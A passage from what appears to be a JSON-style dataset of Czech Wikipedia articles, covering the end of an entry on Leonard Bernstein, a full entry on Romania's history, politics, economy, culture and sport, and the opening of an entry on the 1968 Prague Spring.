na hudebních festivalech po celém světě. Oživil celosvětový zájem o díla Gustava Mahlera a Charlese Ivese Na veřejnosti se televizními pořady od 50. let zasloužil o polularizaci vážné hudby. Tyto pořady získaly řadu televizních ocenění (např. 11 Emmy). Leonard Bernstein tak přivedl mnoho Američanů k vážné hudbě. Vše začalo pořadem \"Omnibus\", který měl v letech 1954–1961 deset dílů. Poté, co se stal šéfdirigentem Newyorské filharmonie, uskutečnil 15 programů pro dospělé (1958–1962) a především 53 programů pro mladé s názvem: „Young People's Concerts with the New York Philharmonic“ (1958–1973), které byly nejpopulárnější. Bernstein v nich zasvěcoval diváky do tajů hudby a představoval významné skladby a hudební skladatele. Vybrané scénáře \"Koncertů pro mladé publikum\" poté vyšly knižně – kniha se stala bestsellerem - (v českém překladu LB: \"O hudbě - Koncerty pro mladé publikum\". Praha: NLN, 1996). V roce 1990 získal Praemium Imperiale, mezinárodní cenu udělenou Japonským uměleckým sdružením za celoživotní dílo v umění. Cenu ve výši 100 000 dolarů využil k založení fondu Bernstein Education Through the Arts (BETA), Inc. Tento grant poskytl na vytvoření vzdělávacího programu založeného na umění. Centrum Leonarda Bernsteina bylo založeno v dubnu 1992 a zahájilo rozsáhlý výzkum ve školách, jehož výsledkem byl model Artful Learning Program. Má hvězdu na Hollywoodském chodníku slávy. Autorka Bernsteinova životopisu Meryle Secrestová hovořila o jeho bisexualitě a citovala též jeho přítelkyni Shirley Rhoades Perleovou, která uvedla, že „potřeboval muže sexuálně a ženy emocionálně“.", "V sobotu 23. prosince 1989 odjel dirigovat po tři dny Beethovenovu \"symfonii č. 9\", na oslavu pádu Berlínské zdi. Symfonie byla zvolena kvůli symbolice, protože sólisté a sbor zpívali „Freiheit“ (svoboda), místo „Freude“ (radost). Tato slova Bernstein schválně zaměnil, kvůli oslavě bratrství a vzájemné svobody po svržení Berlínské zdi. Po návratu domů se cítil úplně vyčerpaný. Na sklonku života nahrál s Vídeňskou filharmonií a spolu s Krystianem Zimermanem oba Brahmsovy klavírní koncerty a poslední tři klavírní koncerty od Ludwiga van Beethovena. Do Československa přijel poprvé od roku 1946 na Pražské jaro 1990. Během komunistické totality odmítl v zemi Východního bloku koncertovat na žádost Rafaela Kubelíka. Na závěrečném koncertu hudebního festivalu 1990 dirigoval ve Smetanově sini Českou filharmonii. Na programu byla Beethovenova \"symfonie č. 9\". Od poloviny 50. let dvacátého století trpěl jako těžký kuřák emfyzémem. Již od druhé poloviny sedmdesátých let bral medikamenty a povzbuzující prostředky na hektický dirigentský život. V dubnu 1990 mu byl diagnostikován maligní nádor mezoteliom na okraji pohrudnice u levé plíce. Následně prodělal zápal plic a pásový opar. Poslední koncert proběhl v Tanglewoodu 19. srpna 1990, kdy řídil Beethovenovu \"7. symfonii\". Ukončení profesionální dráhy oznámil 9. října 1990 a pět dní poté zemřel na infarkt myokardu ve svém bytě v rezidenci Dakota House, ležící na rohu Central Parku v Upper West Side.", "Jako skladatele ho lze považovat za postmodernistu už v 50. letech 20. století. Nerozlišoval mezi hudbou „vážnou“ a „populární“, ale mezi „dobrou“ a „špatnou“. Bernstein byl stylový syntetik a „eklektik“, nějaké umělecké škatulkování pro něj neplatilo: v artificiálních skladbách, v zásadě tonálních, používal latinskoamerické prvky, výrazný rytmus (synkopování, střídavé rytmy, nesouměrné metrum) a barvitou instrumentaci (časté využívání klavíru, vysoké polohy žesťů, početných, virtuózních perkusí); muzikálovou hudbu a formu pozvedl na vysokou úroveň (např. jazzová fuga v písni Cool) a znovu dokázal, že i díla populární kultury mohou být zároveň velmi hodnotná. Mnoho jeho skladeb nelze zařadit do předem vymezených kategorií, protože jsou často polystylové a polyžánrové a obsahují „od všeho něco“. Náměty skladeb, duchovní i čistě světské, se neobracejí do minulosti, ale přímo reflektují svět, v němž jejich autor žil a tvořil: hledají víru ztracenou v moderní době, nebo třeba opěvují radovánky a vyjadřují problémy soudobého New Yorku. Řada kompozic se zpěvem je vícejazyčná, často mísí angličtinu, hebrejštinu a různé další jazyky včetně latiny.", "", "Publikace Leonarda Bernsteina Publikace o Leonardu Bernsteinovi" ] }

{ "title": [ "Dějiny.", "Geografie.", "Politika.", "Zahraniční vztahy.", "Ozbrojené síly.", "Administrativní rozdělení.", "Ekonomika.", "Korupce.", "Obyvatelstvo.", "Náboženství.", "Kultura.", "Kuchyně.", "Věda.", "Sport." ], "section_level": [ "1", "1", "1", "2", "2", "2", "1", "2", "1", "2", "1", "2", "1", "1" ], "content": [ "Původní obyvatelé Dákové byli podrobeni v roce 106 Římany. Území, zvané Římany Dácie, si však i poté ponechalo značnou míru samostatnosti. Římané ovlivnili místní obyvatele jazykově a lidová verze latiny se tak stala základem rumunštiny. Dokonce i pojem Rumunsko je odvozen z latinského pojmu \"romanus\", tedy \"římský občan\" (prvně byl užit v 16. století italskými cestovateli). Ve středověku bylo Rumunsko rozděleno do tří knížectví. První dvě, Valašsko a Moldávie, byla od 16. století závislá na Osmanské říši, Sedmihradsko bylo zprvu součástí Uher, v 16. století mělo na Osmanské říši větší míru nezávislosti, roku 1699 pak bylo znovu připojeno k Uhrám. Nejvýznamnějším moldavským vládcem byl kníže Štěpán III. Veliký, který knížectví po mnoho let bránil před expanzí Osmanské říše. Během vlády Michala Chrabrého byla roku 1600 tři knížectví poprvé spojena do jednoho státního celku. V 18. století ovládli Rumunsko Osmani a vládnoucí třídou byli tzv. fanaoriti, osmanští Řekové z Cařihradu. Valašsko a Moldávie získaly roku 1829 autonomii v rámci Osmanské říše, v roce 1859 se sjednotily v Rumunské knížectví (první kníže Alexandr Ioan Cuza) a položily tak základ samostatnému Rumunsku, které bylo plně uznáno roku 1878 po porážce Osmanů v rusko-turecké válce, ve které Rumuni bojovali na straně Ruska. Od roku 1881 bylo Rumunsko královstvím, prvním králem byl Karel I. Rumunský. Roku 1916 vstoupilo Rumunsko do první světové války na straně Dohody, a to navzdory tomu, že král Ferdinand I. Rumunský pocházel z německého rodu Hohenzollernů. Po první světové válce se rozšířilo o území patřící Uhersku a carskému Rusku – Sedmihradsko, Bukovinu a Besarábii, čímž vzniklo tzv. Velké Rumunsko. Roku 1919 Rumunsko vojensky zakročilo proti Maďarské republice rad a rumunská vojska obsadila Budapešť. Rumunsko bylo roku 1920 signatářem Trianonské smlouvy, která připravila Maďarsko o velkou část území. V meziválečném období bylo Rumunské království součástí Malé dohody. Úzce spolupracovalo s Československem a Jugoslávií proti nárůstu maďarského vlivu. Ve druhé světové válce Rumunsko bojovalo po boku Třetí říše. Rumuni přišli za druhé vídeňské arbitráže o severní Sedmihradsko, které bylo přiděleno expandujícímu Maďarsku. Pod německým tlakem byla Bulharsku předána Jižní Dobrudža. Roku 1940 okupoval Sovětský svaz Severní Bukovinu a Besarábii. V zemi měl v tehdejší době největší vliv maršál Ion Antonescu. Po napadení SSSR Německem v roce 1941 získali Rumuni území zpět. Rumunské jednotky se během sovětského tažení dopustily masakru v Oděse a účastnily se vítězné bitvy o Sevastopol, utrpěly ale těžké ztráty v bitvě u Stalingradu. Roku 1944 proběhl státní převrat a zbytek války bojovalo Rumunsko po boku Rudé armády. Rumunská armáda se výrazně podílela na osvobození Československa v roce 1945. Osvobodila zhruba třetinu Slovenska a polovinu Moravy včetně měst jako Uherské Hradiště, Kroměříž či Přerov. Po válce byla Rumunsku opět odňata Besarábie a připojena k Sovětskému svazu, bylo ale získáno zpět Maďary okupované severní Sedmihradsko. V roce 1947 byl král Michal I. Rumunský nucen abdikovat a odejít ze země. Rumunsko se stalo republikou a součástí komunistického východního bloku. Zahájily se rozsáhlé projekty na industrializaci chudé zemědělské země, potřebné technologie byly zajišťovány hlavně ze západní Evropy (např. Francie). V zemi pokročily mnohé velkolepé projekty, jako například rozvoj atomové energetiky, výstavba vodních kanálů, či přehrada Železná vrata na Dunaji. I přesto se ale nepodařilo situaci radikálně změnit a Rumunsko se zařadilo mezi ty nejchudší země RVHP, kam patřilo víceméně až do konce 80. let. Rumunsko bylo také jednou ze zemí, která dokázala prosazovat do jisté míry nezávislou politiku. Země se neúčastnila některých akcí východního bloku, jakými byla například invaze vojsk Varšavské smlouvy do Československa v roce 1968 nebo bojkot olympijských her v Los Angeles v roce 1984. Diktátor Nicolae Ceaușescu, který zemi po léta vládl tvrdou rukou, byl svržen v roce 1989, odsouzen polním soudem a následně zastřelen i se svou manželkou. Nově nabytá svoboda otevřela staronové a problematické otázky. K těm patřilo jak soužití se zhruba dvoumilionovou maďarskou menšinou, tak integrace do Evropy a ekonomická situace. Rumunsko se propadlo velmi rychle do problémů ve všech těchto oblastech. Začaly národnostní nepokoje, měna se destabilizovala a mnohé země střední Evropy se k integrované části kontinentu přibližovaly mnohem rychleji než Rumunsko. Teprve po roce 2000 se podařilo rozvoj odblokovat. Roku 2004 vstoupila země do NATO a roku 2007 společně s Bulharskem do Evropské unie. Přesto patří k nejchudším zemím \"sedmadvacítky\", a je proto významným příjemcem mnohých dotací.", "S rozlohou 238 391 km2 je Rumunsko největší zemí v jihovýchodní Evropě, 3× větší než Česká republika. Zabírá 5,4 % rozlohy Evropské unie. Dunaj, největší rumunská řeka, tvoří jižní hranici se Srbskem a Bulharskem. Hranici s Moldavskem tvoří řeka Prut, která se vlévá do Dunaje. Dunaj se vlévá do Černého moře a na rumunském území tvoří deltu Dunaje, druhou největší a nejlépe zachovalou deltu a biosférickou rezervaci v Evropě. Lze v ní nalézt 1688 druhů rostlin. Je zapsána i na a je zároveň jedním ze 13 rumunských národních parků. Chráněných oblastí je v zemi asi 10 000 kilometrů čtverečních. Pro Rumunsko je zachovalost původní přírody typická, asi 47% půdní plochy země je pokryto přírodními a polopřírodními ekosystémy. Rumunsko má jednu z největších oblastí původních lesů v Evropě, pokrývá téměř 27% území. V Rumunsku roste 3 700 druhů rostlin a žije 33 792 druhů zvířat, z toho 33 085 bezobratlých a 707 obratlovců, mezi nimi téměř 400 druhů savců, ptáků, plazů a obojživelníků, včetně asi 50% evropských medvědů hnědých (nepočítáme-li Rusko) a 20% evropských vlků. Střed Rumunska je hornatý, dominují mu Karpaty. Nejvyšší hora, Moldoveanu, dosahuje výšky 2544 m n. m. Na západě se také rozkládá pohoří Munții Apuseni. Pohraniční oblasti jsou tvořeny nížinami: Panonská pánev na západě, Valašská nížina na jihu a rovina kolem řeky Prut na východě. Rumunsko má mírné a kontinentální klima. Průměrná roční teplota je na jihu 11° C, na severu 8° C. V létě dosahují průměrné teploty v Bukurešti 28° C, v jižních částech země 35° C. V zimě je průměrná teplota 2° C. Existují některé regionální rozdíly: v západních částech, jako je Banát, je klima mírnější a s některými středomořskými vlivy. Přímořská Dobrudža má klima ovlivněné především Černým mořem. Největšími městy jsou (v závorce počet obyvatel podle sčítání lidu z roku 2011): Bukurešť (1 883 425), Kluž (324 576), Temešvár (319 279), Jasy (290 422), Constanța (283 872), Craiova (269 506), Brašov (253 200), Galați (249 342) a Ploješť (209 945).", "Zákonodárná moc je v Rumunsku rozdělena mezi Senát a Poslaneckou sněmovnu, takzvanou \"Camera Deputaților\". Senát má 137 členů, Poslanecká sněmovna 334. Členové obou komor jsou voleni ve všeobecných volbách konajících se jednou za čtyři roky. Parlament sídlí v Paláci Parlamentu, obřím komplexu z Ceaușescových časů, objemově třetí největší stavbě světa. Rumunský politický systém je označován jako poloprezidentský. Prezident, nejvyšší představitel moci výkonné, je volen přímo, a to jednou za pět let (do roku 2004 jednou za 4 roky). Prezident jmenuje ministerského předsedu. Ten je hlavou vlády, která se nazývá Rada ministrů. Současným prezidentem Rumunska je Klaus Iohannis, premiérkou je Viorica Dancilaová. Ústava Rumunska je založena na ústavě páté francouzské republiky (s Francií pojily Rumunsko vždy četné vazby, založené na jazykové příbuznosti) a byla schválena v národním referendu 8. prosince 1991. Také rumunský soudní systém je silně ovlivněn francouzským modelem a spadá tedy spíše do tradice kontinentálního evropského práva. Ústavnost hlídá Ústavní soud (\"Curtea Constituţională\"). Ústava může být změněna pouze prostřednictvím referenda, poslanci tak učinit nemohou.", "Od roku 1991 se Rumunsko soudí s Čadem o podobu státní vlajky. Předmětem sporu s Ukrajinou byl zase dlouho Zmijí ostrov v Černém moři. Rumunsko se 1. ledna 2007 rozhodlo, že vstoupí do Schengenského prostoru, Evropský parlament vstup schválil v červnu 2011, ale Rada EU ho v září 2011 zamítla. Rumunsko má silné historické vazby k Moldavsku, někteří rumunští politici dokonce bojují o spojení obou zemí, toto hnutí bylo silné zejména v 90. letech. Silné geopolitické vazby si vytvořilo Rumunsko v posledních letech s Ukrajinou a Gruzií. Podporuje jejich zapojení do evropských struktur. Podobně Rumunsko podporuje vstup Turecka do Evropské unie. Navzdory komplikovaným vztahům z minulosti a velké maďarské menšině si Rumunsko vyvinulo rovněž silné vztahy s Maďarskem. Klíčové bezpečnostní vazby má však se Spojenými státy americkými. V prosinci 2005 prezident Traian Băsescu a americká ministryně zahraničí Condoleezza Riceová podepsali dohodu, která umožňuje vojenskou přítomnost USA v Rumunsku, především ve východní části země.", "Rumunská armáda má v současnosti 90 000 profesionálně vycvičených vojáků, z nichž 75 000 je vojenský personál a 15 000 jsou civilisté. Z 90 000 vojáků je 60 000 aktivních, zatímco zbytek vojáků patří do armádních záloh. Rozpočet armády je asi 1,8 miliard eur (tj. asi 1,33 % rumunského HDP). Rumunsko se zapojilo do mezinárodní vojenské koalice, jež v roce 2002 vstoupila do Afghánistánu. Jeho zapojení kulminovalo v roce 2010, kdy dosáhlo 1600 vojáků. Afghánskou misi ukončilo v roce 2014. Rumunské jednotky se podílely i na válce v Iráku, kde dosáhly vrcholu 730 vojáků. Rumunsko misi v Iráku ukončilo v roce 2009, bylo mezi posledními zeměmi, které tak učinily. Rumunská fregata krále Ferdinanda se účastnila i vojenské intervence v Libyi v roce 2011.", "Území Rumunska se dělí na 41 administrativních jednotek (žup) a hlavní město Bukurešť.", "Rumunsko bylo jednou z chudších zemí RVHP a dodnes se řadí k méně rozvinutým zemím Evropy. Mezi zeměmi Evropské unie je jeho HDP na obyvatele třetí nejnižší, po Bulharsku a Chorvatsku. Může za to především dlouholetá autoritativní vláda Nicolae Ceaușesca, která naprosto znemožnila rozvoj rumunské ekonomiky. Rumunský HDP v roce 2007 (rok vstupu Rumunska do EU) činil 41% průměru EU. V roce 2017 to již bylo 63% průměru EU, čímž se Rumunsko stalo jednou z nejrychleji se rozvíjejících ekonomik Evropy. Prudce roste zejména vývoz (např. o 13% v roce 2010). 22 % rumunského vývozu míří do Německa, 12 % do Itálie a 7 % do Francie, podobnou strukturu má dovoz: 21 % je z Německa, 10 % z Itálie a 7 % z Maďarska. Rumunsko má však stále jednu z nejnižších průměrných měsíčních mezd v EU (540 eur v roce 2016). Od reforem v roce 2005 má Rumunsko jedny z nejnižších daňových sazeb v EU. Největší rumunskou firmou je petrochemická společnost Petrom, součást rakouského koncernu OMV. Významná je pro rumunskou ekonomiku výroba aut značky Dacia, která je součástí francouzského koncernu Renault. V minulosti se v Rumunsku vyráběla též terénní vozidla, avšak automobilka ARO, jež je vyráběla, již zanikla. Strojírenskému průmyslu pomáhá rumunské hutnictví – nicméně zásoby rumunského nerostného bohatství nejsou zcela využity. K současným nejvíce se rozvíjejícím firmám patří antivirová společnost Bitdefender či soukromé letecké společnosti Blue Air a Carpatair. Podíl průmyslu na rumunském hospodářství činí 25,7 %. Nicméně ještě v roce 2006 bylo 30% rumunské populace zaměstnáno v zemědělství, což je jedna z nejvyšších úrovní v Evropě. Rumunsko je pro zemědělství vhodné – ve Valašské nížině se pěstují plodiny jako pšenice, slunečnice, kukuřice, brambory, zelenina či ovoce. Z živočišné výroby je významný chov vepřů, ovcí, skotu či koní. Asi 5 % rumunského HDP zajišťuje turistický ruch. V roce 2014 do země přijelo přes 1 900 000 zahraničních turistů. Rumunsko má velký potenciál pro cestovní ruch, turisty lákají především Karpaty, ale vzhledem ke slabé úrovni služeb jsou příjmy z turismu zatím malé.", "Rumunsko bylo dlouhodobě kritizováno kvůli vysoké míře korupce, vznikla proto speciální protikorupční prokuratura (DNA). V roce 2015 byl rumunský premiér Victor Ponta obviněn z korupce a praní špinavých peněz a po protestech odstoupil z funkce i s celou svou vládou. Kvůli podezření z korupce v roce 2015 ve funkci skončili i ministr financí nebo předseda Úřadu pro bezúhonnost, který má boj proti korupci za úkol. Před soudem se ocitli i bývalý premiér Adrian Năstase nebo mediální magnát Adrian Sarbu. Speciální prokuratura v letech 2014 až 2016 obžalovala ze zneužití postavení 2000 lidí a škodu v souvislosti s jejich korupčním jednáním vypočítala na 27 miliard korun. V lednu 2017 vydala rumunská vláda dekret o beztrestnosti některých trestných činů spojených s korupcí, který by poskytl amnestii politikům odsouzeným z korupce. Z korupčního jednání je mimo jiné obviněn i předseda vládní strany Liviu Dragnea. Proti vládnímu nařízení protestovaly statisíce Rumunů a vláda nakonec nařízení v únoru 2017 stáhla.", "Podle sčítání lidu z roku 2011 má Rumunsko 20 121 411 obyvatel. V posledních letech se ovšem potýká s odchodem mladých lidí do zahraničí. V letech 2008–2018 odešlo z Rumunska 3,4 milionu lidí, což je rekord v Evropské unii. Z lidí v produktivním věku odešla celá pětina. Navíc i porodnost patří k nejnižším na světě, 1,33 dětí na ženu, takže se v příštích letech očekává pokles populace. Průměrná délka života je 74,9 let (k roku 2015). Národnostní skupiny (údaje z roku 2002): Komunita Čechů žijících v oblasti Banátu od první poloviny 19. století, tzv. Pémové, čítá 2 242 osob (k roku 2010). Ještě v roce 2000 nicméně v banátských vesnicích žilo Čechů dvakrát více – jejich počet se kvůli emigraci každým rokem snižuje, především z důvodu vysoké nezaměstnanosti. V roce 1992 žilo v Rumunsku 5 800 Čechů. V Karpatech žijí maďarští Sikulové, kteří byli v minulosti pověřeni ostrahou uherských hranic. Němci v Sedmihradsku, tzv. Sedmihradští Sasové, se v oblasti usazovali již ve 12. století a ještě v roce 1930 žilo v Rumunsku 745 000 Němců. Dnes jich zbývá 36 000. V deltě Dunaje žijí ruští Lipované, potomci starověrců, a také Ukrajinci, kteří jsou potomci záporožských kozáků. Část Ukrajinců v rumunských Karpatech se označuje za Rusíny. Na území Dobrudže žijí ještě z dob Osmanské říše Turci, Tataři a Nogajci. V roce 1930, před holokaustem, žilo v Rumunsku 728 000 Židů. Podle oficiálních statistik z roku 2011 žije v zemi okolo 620 tisíc Romů. Neoficiální odhady počtu Romů se však pohybují mezi 1,2 až 2,5 miliony a rumunští Romové tak tvoří největší romskou komunitu v Evropě.", "Podle sčítání lidu v roce 2011 se většina obyvatel hlásila ke křesťanství. 81 % patřilo k Rumunské pravoslavné církvi, 6,2 % k protestanství, 4,3 % k římskokatolické církvi a 0,8 % k řeckokatolické. Přes 64 000 obyvatel, především Turků a Tatarů, se hlásilo k islámu a 3 500 bylo židů. Jen 0,1 % obyvatel se označuje jako \"bez vyznání\". Rumunská pravoslavná církev (rumunsky \"Biserica Ortodoxă Română\") má na celém světě asi 20 miliónů příslušníků, čímž je po ruské pravoslavné církvi druhou nejpočetnější pravoslavnou církví na světě. Významnou protestantskou osobností 20. století se stal teolog Richard Wurmbrand, který byl komunisty vězněn v letech 1948–1956 a 1959–1964, kdy byl kvůli mezinárodnímu politickému tlaku propuštěn a následně vykoupen křesťanskými organizacemi na Západ. Zaměřil se poté na publikování zpráv o perzekuci křesťanů po světě a k tomuto účelu založil organizaci Hlas mučedníků.", "Nejvýznamnějším rumunským výtvarným umělcem je sochař Constantin Brâncuși. Značnou sílu projevila rumunská literatura, byť mnozí z autorů Rumunsko opustili a vyměnili nezřídka i jazyk. To je případ klasika absurdního dramatu Eugène Ionesca. Také zakladatel dadaismu Tristan Tzara byl původem Rumun, ale stejně jako Ionesco se prosadil nakonec v Paříži. V Rumunsku se narodila i nositelka Nobelovy ceny Herta Müllerová, byť jako etnická Němka. Německy psal i Paul Celan. Francouzsky psala Anna de Noailles, dnes ve francouzštině tvoří básnířka Linda Maria Baros. Dimitrie Cantemir sepsal první rumunský román. Nejvýznamnějším autorem, který neopustil ani Rumunsko, ani rumunštinu, byl zřejmě romantický básník Mihai Eminescu. Jeho blízkými přáteli a spoluzakladateli vlivné literární skupiny \"Junimea\" byli prozaik Ion Creangă a dramatik Ion Luca Caragiale. Další obrozeneckou postavou 19. století byl Vasile Alecsandri, velký sběratel lidového umění. Z 20. století se literární historie stále více vrací k Panaitu Istratimu, muži pozoruhodného a bolestného životního příběhu. Nejvýznamnějším představitelem literatury pro děti je v Rumunsku Tudor Arghezi. Nejdůležitějším autorem rumunské klasické hudby je George Enescu. Byl kmotrem i učitelem Dina Lipattiho, předčasně zesnulého talentovaného tvůrce. Ciprian Porumbescu je mj. autorem melodie dnešní albánské hymny. Jako dirigent se prosadil zejména Sergiu Celibidache. Z interpretů získala celosvětovou proslulost sopranistka Angela Gheorghiu, pěvec Florin Cezar Ouatu, klavíristka Clara Haskilová či hráč na Panovu flétnu Gheorghe Zamfir. Klasikem vojenské pochodové hudby je Ion Ivanovici. V populární hudbě pronikly v posledních letech za hranice zpěvačky Alexandra Stan či Inna. Michael Cretu se prosadil v rámci elektronického projektu Enigma. V Rumunsku se narodil i originální řecký hudební skladatel a experimentátor Iannis Xenakis. Francouzský film 70.-80. let podbarvil svou nezaměnitelnou hudbou Vladimir Cosma. Rumunsko zažívá na začátku 21. století veliký rozmach filmového umění a hovoří se dokonce o tzv. rumunské nové vlně. K jejím klíčovým představitelům patří režisér Cristian Mungiu (zejm. \"4 měsíce, 3 týdny a 2 dny\"). Z režisérů starší generace byl významným Sergiu Nicolaescu. V Hollywoodu se prosadil režisér a scenárista Jean Negulesco, z herců Maia Morgensternová či Sebastian Stan. Rumunskými rodáky byly také klasické hollywoodské hvězdy Edward G. Robinson a Johnny Weissmuller. Na seznam světového kulturního dědictví UNESCO byly zapsány některé dácké památky, jako pevnosti v Orăștijských horách a hradiště Sarmizegetusa, a pak řada pravoslavných klášterů a kostelů, často dřevěných (dřevěné kostely v oblasti Maramureš, kláštery Horezu, Humor, Moldovița, Voroneț, Kostel archandělů Michaela a Gabriela v Șurdești). Na seznam se dostalo i centrum města Sighișoara, které bylo založeno Sedmihradskými Sasy, stejně jako vesnice s opevněnými kostely v Transylvánii, které se na seznam UNESCO dostaly v roce 1993. Z dalších památek přitahuje největší pozornost turistů zámek Peleș, hrad Hunedoara (známý též jako Korvínův hrad) a hrad Bran, do něhož Bram Stoker umístil děj svého románu \"Drákula\", ačkoli historický předobraz Drákuly, valašský kníže Vlad III. Dracula, na tomto hradě nežil.", "Tradičním rumunským jídlem je \"sarmale\", což jsou vepřové rolky se zelím. Jako příloha je k nim často podávána další rumunská specialita - \"mamaliga\", tedy hustá kukuřičná kaše, kterou lze přirovnat k polentě. Místní kulinářskou specialitou je rovněž polévka zvaná \"ciorba\", její zvláštností jsou kvašené otruby, jimiž je zahuštěna, nezřídka se do ní přidávají i kousky klobás. Rumunská verze čevabčiči se jmenuje \"mititei\", tyto karbanátky jsou povětšinou připraveny z hovězího krku. Další hovězí pochoutkou, dědictvím tureckého vlivu, je \"musaka\", podávaná obvykle s lilkem, cibulí a rajčaty. Zapékaný lilek je základem i jídla, jemuž se říká \"impletata\". Vepřové se uplatňuje v zapékaném jídle zvaném \"ghiveci\". Mnoho z jídel je podáváno s ovčími sýry, k jejich nejoblíbenějším druhům patří \"Branza de burduf\" a \"Urda\". V oblastech kolem Černého moře se více jedí ryby. Velikonoční specialitou jsou jehněčí vnitřnosti \"drob de miel\". Nejoblíbenějším salámem je \"salam de Sibiu.\" Ke sladkým specialitám patří \"cozonac\" (kynuté pečivo s rozinkami, kandovaným ovocem a ořechy), jež je připravováno o svátcích, či \"clatita\", rumunská verze palačinek. Sladkou verzi má často koláč zvaný \"placinta\", ale nezřídka se připravuje i na slano, zejména se špenátem. Rumuni pěstují víno (např. odrůda Murfatlar), ale rádi pijí i pivo, zdaleka nejoblíbenější domácí značkou je Ursus. Z pálenek je typickou švestková brandy Tuica, jež je velmi silná, obsahuje 70 procent alkoholu.", "V exaktních vědách se nejvíce prosadil nositel Nobelovy ceny za fyziologii, cytolog George Emil Palade, pracující v USA. Také další nositel Nobelovy ceny, tentokrát za chemii, Stefan Hell se narodil v Rumunsku, nicméně prosadil se v Německu, v proslulém Institutu Maxe Plancka. Naopak v Bukurešti prožil celý život odborník na aerodynamiku, fyzik Henri Coandă. V Bukurešti se dnes po něm jmenuje letiště. Také průkopník bakteriologie Victor Babeş byl Rumun, ač se narodil ve Vídni. Dnes se po něm v Temešváru jmenuje lékařská univerzita. Dumitru Prunariu se stal prvním a dosud jediným rumunským kosmonautem. Vynálezce a letecký průkopník Traian Vuia postavil vlastní jednoplošník, s nímž jako první dokázal, že létající zařízení se může vznést do vzduchu při rozjezdu na běžné cestě. Významným průkopníkem letectví byl i Aurel Vlaicu. Biolog Nicolae Paulescu objevil inzulin, Lazăr Edeleanu amfetamin. K významným matematikům patřili Spiru Haret či Grigore Moisil. Rumunským rodákem je i významný americký psycholog David Wechsler či německý raketový odborník Hermann Oberth. Na začátku roku 2012 vypustilo Rumunsko z kosmodromu na Francouzské Guyaně svůj první kosmický satelit pod názvem Goliat. Dvě jména světové proslulosti dalo Rumunsko světu v oblasti humanitních a sociálních věd. Je to především religionista Mircea Eliade, který se stal přímo ikonou svého oboru. Ve Francii, stejně jako Eliade, se prosadil i pesimistický filozof Emil Cioran. Intelektuální Paříž je přijala navzdory tomu, že se oba zapletli s fašismem (což se ovšem dlouho nevědělo). To tvůrce originálního filozofického systému Lucian Blaga zůstal v rodném Rumunsku a potýkal se s nepřízní komunistického režimu. I tak je jeho dílo dnes stále více doceňováno. Jakýmsi zakladatelem moderní rumunské učenosti byl všestranný učenec Dimitrie Cantemir. Významným literárním historikem Nicolae Iorga, zavražděný fašistickou Železnou gardou.", "Největší rumunskou sportovní hvězdou všech dob je fotbalista Gheorghe Hagi. K dalším známým fotbalistům patří Adrian Mutu, Cristian Chivu, Dan Petrescu, Florin Răducioiu, Miodrag Belodedici či Gheorghe Popescu. Jako trenér uspěl Mircea Lucescu, který přivedl ukrajinský tým Šachťar Doněck k zisku Poháru UEFA, či Ștefan Kovács, který vedl Ajax Amsterdam v jeho nejslavnější éře. Steaua Bukurešť dosáhla mimořádného úspěchu v roce 1986, když jako první východoevropský fotbalový klub vyhrála Pohár mistrů evropských zemí (dnes Liga mistrů UEFA). Rumunský tenis zrodil kontroverzní hvězdu Ilie Năstaseho, ve druhém desetiletí 21. století patří k absolutní světové špičce Simona Halepová. Antuková specialistka Virginia Ruziciová vyhrála v roce 1978 Roland Garros. Velmi populární je v Rumunsku házená. Rumunští házenkáři čtyřikrát triumfovali na mistrovství světa (1961, 1964, 1970, 1974), ženský tým jednou (1962). K legendárním házenkářům patřili Ștefan Birtalan či Gheorghe Gruia, kterého Mezinárodní házenkářská federace roku 1992 vyhlásila \"nejlepším házenkářem všech dob\". Cristina Neaguová byla čtyřikrát zvolena nejlepší házenkářkou světa (2010, 2015, 2016, 2018). Luminita Dinuová byla zvolena nejlepší házenkářkou brankářkou všech dob. Podobnou tradici má rugby, rumunská reprezentace získala deset titulů mistra Evropy a zúčastnila se všech mistrovství světa. Slavná je ale i rumunská gymnastická škola, nejvíce z ní vynikla Nadia Comăneciová. Rumunští gymnasté získali 25 zlatých olympijských medailí, celkem pak 72 medailí. 19 zlatých mají Rumuni též z veslařských kanálů, 10 z kanoistických - čtyři z nich vybojoval kanoista Ivan Patzaichin. Na dvou olympiádách triumfovala ve skoku vysokém Jolanda Balașová, dvě olympijské zlaté má i plavkyně Diana Mocanuová. Úspěšnou běžkyní byla Gabriela Szabóová. Rumunsko je po Maďarsku druhou medailově nejúspěšnější zemí z těch, které olympiádu nikdy nepořádaly. Tradičním rumunským sportem, podobným baseballu, je oină. Má kořeny již ve 14. století, v současnosti už má ale málo aktivních hráčů. Populární je v Rumunsku i malý fotbal. Reprezentace má na kontě 6 titulů z Mistrovství Evropy (2010,2011,2012,2013,2014,2015). Za poslední tři turnaje Mistrovství Evropy získalo ale Rumunsko jenom jedno stříbro a to z roku 2018 kdy prohráli na Mistrovství Evropy na Ukrajině s Českým týmem 4:1. Mistrovství světa v malé kopané přineslo Rumunsku bronz, který si v roce 2015 v USA rozdělilo s Brazílií (o třetí místo se nehrálo) a v roce 2019 v Austrálii, kdy o třetí místo porazilo Maďarsko 3:1 na penalty." ] }

{ "title": [ "Stav společnosti a pozadí událostí.", "Liberalizace a reformy.", "Sovětská intervence.", "Dozvuky a následky.", "Kulturní dopad." ], "section_level": [ "1", "1", "1", "1", "2" ], "content": [ "Ve druhé polovině 50. let 20. století byla Evropa v důsledku 2. světové války stále rozdělena na dva soupeřící mocenské bloky: západní demokratický a kapitalistický (v terminologii „socialistických“ států pojem často nazýván imperialistický) a východní autokratický socialistický (kapitalistickými státy většinou nazýván komunistický). Socialistické státy byly ovládány Sovětským svazem a svůj režim udržovaly pomocí silně represivního aparátu, který kromě jiného značně omezoval svobodu vyjadřování a kulturního projevu. Společnost v Československu byla řízena komunistickou stranou (KSČ byla defakto podřízena sovětskému politbyru), která řídila stát jak politicky, tak ekonomicky – vedení strany bylo takřka totožné s vedením státu. Volby byly sice prohlašovány za svobodné, ale demokratické zásady v nich byly silně potlačeny (nemožnost výběru z více kandidátů, nátlak na demonstrativně otevřené odevzdání hlasů kandidátům schváleným KSČ při formálně tajných volbách atd.). V ostatních státech „socialistického tábora“ byla situace obdobná. Ke snížení světového napětí tou dobou přispěli vědci obou táborů: konstatovali, že stávající atomové zbraně USA a SSSR by stačily k několikanásobnému zničení celého světa. Válka za účelem ovládnutí světa ztratila smysl – nikdo by ji nevyhrál. Začalo se mluvit o nutnosti odzbrojení, objevily se plakáty s heslem \"Odzbrojit – soutěžit – v míru žít\". V celé Evropě i ve světě docházelo ke změnám, po ukončení Karibské krize v 